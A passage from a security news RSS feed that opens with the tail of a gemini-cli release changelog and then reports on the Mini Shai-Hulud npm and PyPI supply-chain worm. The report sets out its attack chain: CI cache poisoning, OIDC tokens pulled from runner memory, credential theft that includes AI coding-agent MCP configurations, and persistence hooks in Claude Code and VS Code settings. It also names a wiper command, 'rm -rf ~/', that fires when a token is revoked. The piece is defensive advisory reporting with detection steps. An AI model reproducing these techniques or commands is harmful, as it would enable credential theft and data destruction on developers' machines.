<li>fix(cli): make SkillInboxDialog fit and scroll in alternate buffer by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SandyTao520/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SandyTao520">@SandyTao520</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4378575174" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26455" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26455/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26455">#26455</a></li>
<li>Robust Scale-Safe Lifecycle Consolidation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367100236" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26355" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26355/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26355">#26355</a></li>
<li>fix(ci): respect exempt labels when closing stale items by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gundermanc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gundermanc">@gundermanc</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4380170603" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26475" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26475/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26475">#26475</a></li>
<li>fix(cli): use os.homedir() for home directory warning check by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TirthNaik-99/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TirthNaik-99">@TirthNaik-99</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4319296026" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/25890" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/25890/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/25890">#25890</a></li>
<li>fix(a2a-server): resolve tool approval race condition and improve status reporting by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kschaab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kschaab">@kschaab</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4380894602" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26479" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26479/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26479">#26479</a></li>
<li>fix(cli): prevent settings dialog border clipping using maxHeight by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jackwotherspoon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jackwotherspoon">@jackwotherspoon</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4385387937" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26507" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26507/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26507">#26507</a></li>
<li>feat: allow queuing messages during compression (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4156601219" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/24071" data-hovercard-type="issue" data-hovercard-url="/google-gemini/gemini-cli/issues/24071/hovercard" href="https://github.com/google-gemini/gemini-cli/issues/24071">#24071</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4385360966" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26506" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26506/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26506">#26506</a></li>
<li>fix(core): retry on ERR_STREAM_PREMATURE_CLOSE errors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4386063713" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26519" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26519/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26519">#26519</a></li>
<li>fix(core): Minor fixes for generalist profile. by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshualitt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshualitt">@joshualitt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367458050" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26357" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26357/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26357">#26357</a></li>
<li>fix(patch): cherry-pick <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/google-gemini/gemini-cli/commit/3627f4777fae1852b33d6c80853540776573255a/hovercard" href="https://github.com/google-gemini/gemini-cli/commit/3627f4777fae1852b33d6c80853540776573255a"><tt>3627f47</tt></a> to release/v0.42.0-preview.0-pr-26542 to patch version v0.42.0-preview.0 and create version 0.42.0-preview.1 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4387284363" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26544" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26544/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26544">#26544</a></li>
<li>fix(patch): cherry-pick <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/google-gemini/gemini-cli/commit/02995ba939bcc592ac1ad9486f74a5708219a993/hovercard" href="https://github.com/google-gemini/gemini-cli/commit/02995ba939bcc592ac1ad9486f74a5708219a993"><tt>02995ba</tt></a> to release/v0.42.0-preview.1-pr-26568 to patch version v0.42.0-preview.1 and create version 0.42.0-preview.2 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4392969495" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26590" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26590/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26590">#26590</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gitanaskhan26/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gitanaskhan26">@Gitanaskhan26</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340554605" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26092" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26092/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26092">#26092</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ifitisit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ifitisit">@ifitisit</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328858398" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/25978" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/25978/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/25978">#25978</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lp-peg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lp-peg">@lp-peg</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347336699" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26153" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26153/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26153">#26153</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martin-hsu-test/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martin-hsu-test">@martin-hsu-test</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4268812683" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/25453" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/25453/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/25453">#25453</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stevemk14ebr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stevemk14ebr">@stevemk14ebr</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354078327" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26234" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26234/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26234">#26234</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pmenic/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pmenic">@pmenic</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332004509" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26018" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26018/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26018">#26018</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jwhyee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jwhyee">@Jwhyee</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4071522855" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/22324" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/22324/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/22324">#22324</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sahilkirad/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sahilkirad">@sahilkirad</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4256894120" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/25313" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/25313/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/25313">#25313</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/harshpujari/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/harshpujari">@harshpujari</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4255570391" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/25292" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/25292/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/25292">#25292</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/haosenwang1018/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/haosenwang1018">@haosenwang1018</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369376011" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26379" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26379/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26379">#26379</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tusaryan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tusaryan">@tusaryan</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4294968879" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/25695" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/25695/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/25695">#25695</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fauzan171/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fauzan171">@fauzan171</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360557925" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26277" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26277/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26277">#26277</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TirthNaik-99/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TirthNaik-99">@TirthNaik-99</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4319296026" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/25890" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/25890/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/25890">#25890</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google-gemini/gemini-cli/compare/v0.41.2...v0.42.0"><tt>v0.41.2...v0.42.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Protect your enterprise now from the Shai-Hulud worm and npm vulnerability in 6 actionable steps]]></title>
<description><![CDATA[Any development environment that installed or imported one of the 172 compromised npm or PyPI packages published since May 11 should be treated as potentially compromised. On affected developer workstations, the worm harvests credentials from over 100 file paths: AWS keys, SSH private keys, npm t...]]></description>
<link>https://tsecurity.de/de/3511789/it-nachrichten/protect-your-enterprise-now-from-the-shai-hulud-worm-and-npm-vulnerability-in-6-actionable-steps/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3511789/it-nachrichten/protect-your-enterprise-now-from-the-shai-hulud-worm-and-npm-vulnerability-in-6-actionable-steps/</guid>
<pubDate>Tue, 12 May 2026 21:47:37 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Any development environment that installed or imported one of the 172 compromised npm or PyPI packages published since May 11 should be treated as potentially compromised. On affected developer workstations, the worm <a href="https://www.stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply-chain-attack-hits-the-npm-ecosystem">harvests credentials from over 100 file paths</a>: AWS keys, SSH private keys, npm tokens, GitHub PATs, HashiCorp Vault tokens, Kubernetes service accounts, Docker configs, shell history, and cryptocurrency wallets. For the first time in a TeamPCP campaign, it targets password managers including 1Password and Bitwarden, according to <a href="https://www.securityweek.com/tanstack-mistral-ai-uipath-hit-in-fresh-supply-chain-attack/">SecurityWeek</a>. </p><p>It steals Claude and Kiro AI agent configurations, including MCP server auth tokens for every external service an agent connects to. And it does <i>not leave</i> when the package is removed.</p><p>The worm installs persistence in Claude Code (.claude/settings.json) and VS Code (.vscode/tasks.json with runOn: folderOpen) that re-execute every project open, plus a system daemon (macOS LaunchAgent / Linux systemd) that survives reboots. These live in the project tree, not in node_modules. Uninstalling the package does not remove them. On CI runners, the worm <a href="https://tanstack.com/blog/npm-supply-chain-compromise-postmortem">reads runner process memory directly</a> via /proc/pid/mem to extract secrets, including masked ones, on Linux-based runners. If you revoke tokens before isolating the machine, <a href="https://www.wiz.io/blog/mini-shai-hulud-strikes-again-tanstack-more-npm-packages-compromised">Wiz’s analysis found</a> a destructive daemon wipes your home directory.</p><p>Between 19:20 and 19:26 UTC on May 11, the Mini Shai-Hulud worm published 84 malicious versions across 42 @tanstack/* npm packages. Within 48 hours the campaign expanded to 172 packages across 403 malicious versions spanning npm and PyPI, according to <a href="https://www.mend.io/blog/mini-shai-hulud-is-back-172-npm-and-pypi-packages-compromised-in-latest-wave/">Mend’s tracking</a>. @tanstack/react-router alone receives 12.7 million weekly downloads. <a href="https://github.com/TanStack/router/issues/7383">CVE-2026-45321</a>, CVSS 9.6. <a href="https://thehackernews.com/2026/05/mini-shai-hulud-worm-compromises.html">OX Security</a> reported 518 million cumulative downloads affected. Every malicious version carried a valid SLSA Build Level 3 provenance attestation. The provenance was real. The packages were poisoned.</p><p>“TanStack had the right setup on paper: OIDC trusted publishing, signed provenance, 2FA on every maintainer account. The attack worked anyway,” Peyton Kennedy, senior security researcher at <a href="https://www.endorlabs.com/learn/shai-hulud-compromises-the-tanstack-ecosystem-80-packages-compromised">Endor Labs</a>, told VentureBeat in an exclusive interview. “What the orphaned commit technique shows is that OIDC scope is the actual control that matters here, not provenance, not 2FA. If your publish pipeline trusts the entire repository rather than a specific workflow on a specific branch, a commit with no parent history and no branch association is enough to get a valid publish token. That’s a one-line configuration fix.”</p><h2><b>Three vulnerabilities chained into one provenance-attested worm</b></h2><p><a href="https://tanstack.com/blog/npm-supply-chain-compromise-postmortem">TanStack’s postmortem</a> lays out the kill chain. On May 10, the attacker forked TanStack/router under the name zblgg/configuration, chosen to avoid fork-list searches per <a href="https://snyk.io/blog/tanstack-npm-packages-compromised/">Snyk’s analysis</a>. A pull request triggered a pull_request_target workflow that checked out fork code and ran a build, giving the attacker code execution on TanStack’s runner. The attacker poisoned the GitHub Actions cache. When a legitimate maintainer merged to main, the release workflow restored the poisoned cache. Attacker binaries read /proc/pid/mem, extracted the OIDC token, and POSTed directly to registry.npmjs.org. Tests failed. Publish was skipped. 84 signed packages still reached the registry.</p><p>“Each vulnerability bridges the trust boundary the others assumed,” <a href="https://tanstack.com/blog/npm-supply-chain-compromise-postmortem">the postmortem states</a>. Published tradecraft from the March 2025 tj-actions/changed-files compromise, recombined in a new context.</p><h2><b>The worm crossed from npm into PyPI within hours</b></h2><p><a href="https://x.com/MsftSecIntel/status/2054041471280423424">Microsoft Threat Intelligence confirmed</a> the mistralai PyPI package v2.4.6 executes on import (not on install), downloading a payload disguised as Hugging Face Transformers. npm mitigations (lockfile enforcement, --ignore-scripts) do not cover Python import-time execution.</p><p>Mistral AI published a <a href="https://docs.mistral.ai/resources/security-advisories">security advisory</a> confirming the impact. Compromised npm packages were available between May 11 at 22:45 UTC and May 12 at 01:53 UTC (roughly three hours). The PyPI release mistralai==2.4.6 is quarantined. Mistral stated an affected developer device was involved but no Mistral infrastructure was compromised. <a href="https://safedep.io/mass-npm-supply-chain-attack-tanstack-mistral/">SafeDep confirmed</a> Mistral never released v2.4.6; no commits landed May 11 and no tag exists.</p><p><a href="https://www.wiz.io/blog/mini-shai-hulud-strikes-again-tanstack-more-npm-packages-compromised">Wiz documented</a> the full blast radius: 65 UiPath packages, Mistral AI SDKs, OpenSearch, Guardrails AI, 20 Squawk packages. <a href="https://www.stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply-chain-attack-hits-the-npm-ecosystem">StepSecurity attributes</a> the campaign to TeamPCP, based on toolchain overlap with prior Shai-Hulud waves and the Bitwarden CLI/Trivy compromises. The worm <a href="https://www.bleepingcomputer.com/news/security/shai-hulud-attack-ships-signed-malicious-tanstack-mistral-npm-packages/">runs under Bun rather than Node.js</a> to evade Node.js security monitoring.</p><h2><b>The attacker treated AI coding agents as part of the trusted execution environment</b></h2><p><a href="https://socket.dev/blog/tanstack-npm-packages-compromised-mini-shai-hulud-supply-chain-attack">Socket’s technical analysis</a> of the 2.3 MB router_init.js payload identifies ten credential-collection classes running in parallel. The worm writes persistence into .claude/ and .vscode/ directories, hooking Claude Code’s SessionStart config and VS Code’s folder-open task runner. <a href="https://www.stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply-chain-attack-hits-the-npm-ecosystem">StepSecurity’s deobfuscation</a> confirmed the worm also harvests Claude and Kiro MCP server configurations (~/.claude.json, ~/.claude/mcp.json, ~/.kiro/settings/mcp.json), which store API keys and auth tokens for external services. This is an early but confirmed instance of supply-chain malware treating AI agent configurations as high-value credential targets. The npm token description the worm sets reads: “IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner.” It is not a bluff.</p><p>“What stood out to me about this payload is where it planted itself after running,” Kennedy told VentureBeat. “It wrote persistence hooks into Claude Code’s SessionStart config and VS Code’s folder-open task runner so it would re-execute every time a developer opened a project, even after the npm package was removed. The attacker treated the AI coding agent as part of the trusted execution environment, which it is. These tools read your repo, run shell commands, and have access to the same secrets a developer does. Securing a development environment now means thinking about the agents, not just the packages.”</p><h2><b>CI/CD Trust-Chain Audit Grid</b></h2><p><i>Six gaps Mini Shai-Hulud exploited. What your CI/CD does today. The control that closes each one.</i></p><table><tbody><tr><td><p><b>Audit question</b></p></td><td><p><b>What your CI/CD does today</b></p></td><td><p><b>The gap</b></p></td></tr><tr><td><p>1. Pin OIDC trusted publishing to a specific workflow file on a specific protected branch. Constrain id-token: write to only the publish job. Ensure that job runs from a clean workspace with no restored untrusted cache</p></td><td><p>Most orgs grant OIDC trust at the repository level. Any workflow run in the repo can request a publish token. id-token: write is often set at the workflow level, not scoped to the publish job.</p></td><td><p>The worm achieved code execution inside the legitimate release workflow via cache poisoning, then extracted the OIDC token from runner process memory. Branch/workflow pinning alone would not have stopped this attack because the malicious code was already running inside the pinned workflow. The complete fix requires pinning PLUS constraining id-token: write to only the publish job PLUS ensuring that job uses a clean, unshared cache.</p></td></tr><tr><td><p>2. <!-- -->Treat SLSA provenance as necessary but not sufficient. Add behavioral analysis at install time</p></td><td><p>Teams treat a valid Sigstore provenance badge as proof a package is safe. npm audit signatures passes. The badge is green. Procurement and compliance workflows accept provenance as a gate.</p></td><td><p>All 84 malicious TanStack versions carry valid SLSA Build Level 3 provenance attestations. First widely reported npm worm with validly-attested packages. Provenance attests where a package was built, not whether the build was authorized. Socket’s AI scanner flagged all 84 artifacts within six minutes of publication. Provenance flagged zero.</p></td></tr><tr><td><p>3. Isolate GitHub Actions cache per trust boundary. Invalidate caches after suspicious PRs. Never check out and execute fork code in pull_request_target workflows</p></td><td><p>Fork-triggered workflows and release workflows share the same cache namespace. Closing or reverting a malicious PR is treated as restoring clean state. pull_request_target is widely used for benchmarking and bundle-size analysis with fork PR checkout.</p></td><td><p>Attacker poisoned pnpm store via fork-triggered pull_request_target that checked out and executed fork code on the base runner. Cache survived PR closure. The next legitimate release workflow restored the poisoned cache on merge. actions/cache@v5 uses a runner-internal token for cache saves, not the workflow’s GITHUB_TOKEN, so permissions: contents: read does not prevent mutation. Kennedy: 'Branch protection rules don’t apply to commits that aren’t on any branch, so that whole layer of hardening didn’t help.'</p></td></tr><tr><td><p>4. Audit optionalDependencies in lockfiles and dependency graphs. Block github: refs pointing to non-release commits</p></td><td><p>Static analysis and lockfile enforcement focus on dependencies and devDependencies. optionalDependencies with github: commit refs are not flagged by most tools.</p></td><td><p>The worm injected optionalDependencies pointing to a github: orphan commit in the attacker’s fork. When npm resolves a github: dependency, it clones the referenced commit and runs lifecycle hooks (including prepare) automatically. The payload executed before the main package’s own install step completed. SafeDep confirmed Mistral never released v2.4.6; no commits landed and no tag exists.</p></td></tr><tr><td><p>5. Audit Python dependency imports separately from npm controls. Cover AI/ML pipelines consuming guardrails-ai, mistralai, or any compromised PyPI package</p></td><td><p>npm mitigations (lockfile enforcement, --ignore-scripts) are applied to the JavaScript stack. Python packages are assumed safe if pip install completes. AI/ML CI pipelines are treated as internal testing infrastructure, not as supply-chain attack targets.</p></td><td><p>Microsoft Threat Intelligence confirmed mistralai PyPI v2.4.6 executes on import, not install. Injected code in __init__.py downloads a payload disguised as Hugging Face Transformers. --ignore-scripts is irrelevant for Python import-time execution. guardrails-ai@0.10.1 also executes on import. Any agentic repo with GitHub Actions id-token: write is exposed to the same OIDC extraction technique. LLM API keys, vector DB credentials, and external service tokens all in the blast radius.</p></td></tr><tr><td><p>6. Isolate and image affected machines before revoking stolen tokens. Do not revoke npm tokens until the host is forensically preserved</p></td><td><p>Standard incident response: revoke compromised tokens first, then investigate. npm token list and immediate revocation is the instinctive first step.</p></td><td><p>The worm installs a persistent daemon (macOS LaunchAgent / Linux systemd) that polls GitHub every 60 seconds. On detecting token revocation (40X error), it triggers rm -rf ~/, wiping the home directory. The npm token description reads: 'IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner.' Microsoft reported geofenced destructive behavior: a 1-in-6 chance of rm -rf / on systems appearing to be in Israel or Iran. Kennedy: 'Even after the package is gone, the payload may still be sitting in .claude/ with a SessionStart hook pointing at it. rm -rf node_modules doesn’t remove it.'</p></td></tr></tbody></table><p><i>Sources: TanStack postmortem, StepSecurity, Socket, Snyk, Wiz, Microsoft Threat Intelligence, Mend, Endor Labs. May 12, 2026.</i></p><h2><b>Security director action plan</b></h2><ul><li><p><b>Today: </b>“The fastest check is find . -name 'router_init.js' -size +1M and grep -r '79ac49eedf774dd4b0cfa308722bc463cfe5885c' package-lock.json,” Kennedy said. If either returns a hit, isolate and image the machine immediately. Do not revoke tokens until the host is forensically preserved. The worm’s destructive daemon triggers on revocation. Once the machine is isolated, rotate credentials in this order: npm tokens first, then GitHub PATs, then cloud keys. Hunt for .claude/settings.json and .vscode/tasks.json persistence artifacts across every project that was open on the affected machine.</p></li><li><p><b>This week: </b>Rotate every credential accessible from affected hosts: npm tokens, GitHub PATs, AWS keys, Vault tokens, K8s service accounts, SSH keys. Check your packages for unexpected versions after May 11 with commits by claude@users.noreply.github.com. Block filev2.getsession[.]org and git-tanstack[.]com.</p></li><li><p><b>This month: </b>Audit every GitHub Actions workflow against the six gaps above. Pin OIDC publishing to specific workflows on protected branches. Isolate cache keys per trust boundary. Set npm config set min-release-age=7d. For AI/ML teams: check guardrails-ai and mistralai against compromised versions, audit CI pipelines for id-token: write exposure, and rotate every LLM API key and vector DB credential accessible from CI.</p></li><li><p><b>This quarter (board-level): </b>Fund behavioral analysis at the package registry layer. Provenance verification alone is no longer a sufficient procurement criterion for supply-chain security tooling. Require CI/CD security audits as part of vendor risk assessments for any tool with publish access to your registries. Establish a policy that no workflow with id-token: write runs from a shared cache. Treat AI coding agent configurations (.claude/, .kiro/, .vscode/) as credential stores subject to the same access controls as cloud key vaults.</p></li></ul><h2><b>The worm is iterating. Defenders must, as well</b></h2><p>This is the fifth Shai-Hulud wave in eight months. Four SAP packages became 84 TanStack packages in two weeks. <a href="https://www.stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply-chain-attack-hits-the-npm-ecosystem">intercom-client@7.0.4 fell 29 hours later</a>, confirming active propagation through stolen CI/CD infrastructure. Late on May 12, malware research collective <a href="https://x.com/vxunderground/status/2054238093734015419">vx-underground reported</a> that the fully weaponized Shai-Hulud worm code has been open-sourced. If confirmed, this means the attack is no longer limited to TeamPCP. Any threat actor can now deploy the same cache-poisoning, OIDC-extraction, and provenance-attested publishing chain against any npm or PyPI package with a misconfigured CI/CD pipeline.</p><p>“We’ve been tracking this campaign family since September 2025,” Kennedy said. “Each wave has picked a higher-download target and introduced a more technically interesting access vector. The orphaned commit technique here is genuinely novel. Branch protection rules don’t apply to commits that aren’t on any branch. The supply chain security space has spent a lot of energy on provenance and trusted publishing over the last two years. This attack walked straight through both of those controls because the gap wasn’t in the signing. It was in the scope.”</p><p>Provenance tells you where a package was built. It does not tell you whether the build was authorized. That is the gap this audit is designed to close.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mistral AI SDK, TanStack Router hit in npm software supply chain attack]]></title>
<description><![CDATA[The TeamPCP threat group has pulled off another big supply chain attack which within a few hours this week was able to successfully compromise 170 Node Package Manager (npm) and PyPI packages.



The attack affected the entire TanStack Router ecosystem (@tanstack) of 42 packages, a routing librar...]]></description>
<link>https://tsecurity.de/de/3511569/ai-nachrichten/mistral-ai-sdk-tanstack-router-hit-in-npm-software-supply-chain-attack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3511569/ai-nachrichten/mistral-ai-sdk-tanstack-router-hit-in-npm-software-supply-chain-attack/</guid>
<pubDate>Tue, 12 May 2026 20:19:40 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
